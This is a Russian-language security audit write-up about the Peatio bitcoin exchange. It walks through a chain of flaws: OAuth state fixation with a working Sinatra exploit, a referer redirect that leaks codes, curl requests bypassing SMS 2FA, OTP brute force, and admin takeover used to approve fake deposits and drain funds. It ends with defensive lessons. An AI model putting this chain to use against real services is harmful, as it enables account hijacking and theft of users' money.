Взлом биткоин биржи на Rails

в 19:02, , рубрики: bitcoin, peatio, rails, ruby on rails, информационная безопасность

В последнее время появилась масса биткоин сервисов. И то что раньше было проектом «for fun» неожиданно стало хранить десятки и даже сотни тысяч долларов. Цена биткоина выросла, но уровень безопасности биткоин сервисов остался таким же низким.

Ради портфолио мы провели бесплатный аудит биткоин биржи с открытым кодом Peatio использующей Ruby on Rails. Репорт в pdf можно скачать тут. Самое интересное что в результате нашлись не очередные унылые рейс кондишены или SQLi, а довольно таки любопытная цепочка багов ведущая к угону аккаунта и краже существенной части горячего кошелька.

Угон аккаунта

image

В глаза сразу бросается «Вход через Weibo» (это у китайцев популярная социалка). Если почитать шпаргалку по безопасности OAuth становится очевидно, там где OAuth там и угон аккаунта.

Присоединение Вейбо атакующего к аккаунту жертвы
В omniauth-weibo-oauth2 был баг фиксирующий state. state это важный параметр для защиты от CSRF, и защита от него была встроена (не сразу, конечно) в omniauth. Вот только строчка

session['omniauth.state'] = params[:state] if v == 'state'

выключала эту защиту, вставляя в session['omniauth.state'] значение из GET параметра. Теперь можно зафиксировать state=123 и использовать code выпущенный для вейбо атакующего. Пример эксплуатации:

require 'sinatra'
get '' do

  conn = Faraday.new(:url => 'https://api.weibo.com')
  new_url = conn.get do |r|
    r.url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123"

    r.headers['Cookie'] =<<COOKIE
YourWeiboCookies
COOKIE

    r.options.timeout = 4        
    r.options.open_timeout = 2
  end.headers["Location"]
  redirect new_url
end

get '/peatio_demo' do
  response.headers['Content-Security-Policy'] = "img-src 'self' https://yunbi.com"
  "<img src='https://yunbi.com/auth/weibo?state=123'><img src=''>"
end

В результате мы имеем вейбо атакующего подключенным к аккаунты жертвы на бирже, и можем в него зайти напрямую.

А если Вейбо уже подключен у жертвы?
Второй аккаунт подключить нельзя, поэтому надо найти способ украсть code для текущего вейбо жертвы.
Вейбо не привязывает code к redirect_uri (что само по себе грубая ошибка, но зарепортить китайцам я не смог) а значит найдя страницу сливающую код через рефереры мы достигнем цели. Поиски такой страницы как и опен редиректа не увенчались успехом, но в самом конце интересная строчка в DocumentsController спасла положение:

if not @doc
  redirect_to(request.referer || root_path)
  return
end

Если документ не найден то происходит редирект на request.referer, а значит следующая цепочка редиректов сольет код:

1. attacker_page редиректит на weibo.com/authorize?...redirect_uri=http://app/documents/not_existing_doc%23…
2. Weibo неправильно парсит redirect_uri c %23 и редиректит жертву на app/documents/not_existing_doc#?code=VALID_CODE
3. Peatio не может найти not_existing_doc и возвращает Location заголовок равный текущему request.referer который все еще attacker_page (браузер его продолжает слать с самого начала)
4. Браузер копирует фрагмент #?code=VALID_CODE и загружает attacker_page#?code=VALID_CODE. Теперь код на странице может прочитать VALID_CODE через location.hash и загрузить настоящий app/auth/weibo/callback?code=VALID_CODE чтобы зайти в аккаунт жертвы на бирже.

Итак, мы угнали аккаунт у пользователей с Вейбо и даже без. Но дальше нас останавливает двух-факторная аутенфикация.

Обход 2FA

Peatio из коробки заставляет всех пользователей использовать Google Authenticator и/или SMS коды для важных функций (вывод биткоинов). А значит нам так или иначе нужно найти способ обхода.
Если у жертвы включен только Google Authenticator
image
В SmsAuthsController была серьезная ошибка — фильтр two_factor_required! вызывался только для экшена show, но не для экшена update который то и был ответственен за подключение SMS 2FA.

before_action :auth_member!
before_action :find_sms_auth
before_action :activated?
before_action :two_factor_required!, only: [:show]

def show
  @phone_number = Phonelib.parse(current_user.phone_number).national
end

def update
  if params[:commit] == 'send_code'
    send_code_phase
  else
    verify_code_phase
  end
end

А значит минуя запросы на show мы шлем запросы напрямую в update:
curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code’
image
curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’
image
При подключении SMS 2FA мы можем получать коды на наш номер и выводить биткоины на свой адрес.

Если у жертвы SMS и Authenticator
Если жертва-параноик подключила оба метода 2FA то работа становится чуть сложнее. Система уязвима к брутофорсу 2FA кодов, другими словами её очень легко обойти. В отличии от обычного пароля, где 36^8+ вариантов, в одноразовом коде всего 1 миллион вариантов. Трех дней достаточно чтобы спокойно его угадать. Можете посчитать на OTP Bruteforce Calculator сами:
image
Без защиты от брута 2FA не имеет смысла, вот прямо совсем. Распространенное заблуждение, кстати, что 30-секундное окно делает брутофорс сложнее. На самом деле разницы практически нет, что 1 секунду что 24 часа этот код активен, 3 дня будет достаточно.

Если только SMS 2FA
Это выглядит как самый сложный вариант — ведь брутофорсить незаметно не получится и жертва сразу заметит подозрительные SMS на свой номер. Однако, очередная ошибка в коде нам поможет:

def two_factor_by_type
  current_user.two_factors.by_type(params[:id])
end

В данном методе не используется скоуп «activated» а значит можно продолжать брутофорсить 2FA типа Google Authenticator как и в предыдущем случае, несмотря на то что он никогда не был активирован, ведь seed у него уже сгенерирован!

Атакуем админа

Теперь когда мы научились угонять и обходить 2FA для любого пользователя попробуем применить полученный эксплоит с умом. Мы не будем охотиться за юзерами, а сразу напишем такой тикет админу «What is wrong with my account can you please check? i.will.hack.you/now». После посещения этой страницы наш скрипт угонит админский аккаунт.
image
К сожалению, выяснилось что админ практически ничего не может. Нет функций «послать все биткоины на Х» или «добавить У биткоинов этому юзеру». Единственная зацепка это возможность одобрения фиат депозитов сделанных юзерами. А значит мы можем создать депозит на много денег и сами его одобрить:
image
Дальше мы можем скупить все доступные на ордерах биткоины и моментально их вывести (моментально только потому что мы и есть админ и сами же одобрим свой Withdraw запрос, выводы в обменке делаются вручную!). Но куда больше профита имхо принесет вариант когда мы будем тихонько пить кровь из биржи неделю-другую.

Мораль:

1. Никогда не добавляйте вход через социалки в важные сайты. В них есть слишком много идеологических изъянов, поэтому лучше вообще не связываться.
2. Если уж и решили делать двух-факторную авторизацию, делайте правильно с самого начала — четко проследите порядок действий для добавления нового метода и предотвратите брутофорс путем блокировки аккаунта после N попыток.
3. Создавайте отдельного Суперадмина с функцией вливания произвольного числа денег в систему. Он не должен иметь возможности читать тикеты и вообще этот аккаунт надо хранить как зеницу ока.

Спасибо за внимание, и если вы хотите обезопасить свой сервис, вы знаете к кому обратиться.

Автор: Chikey

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js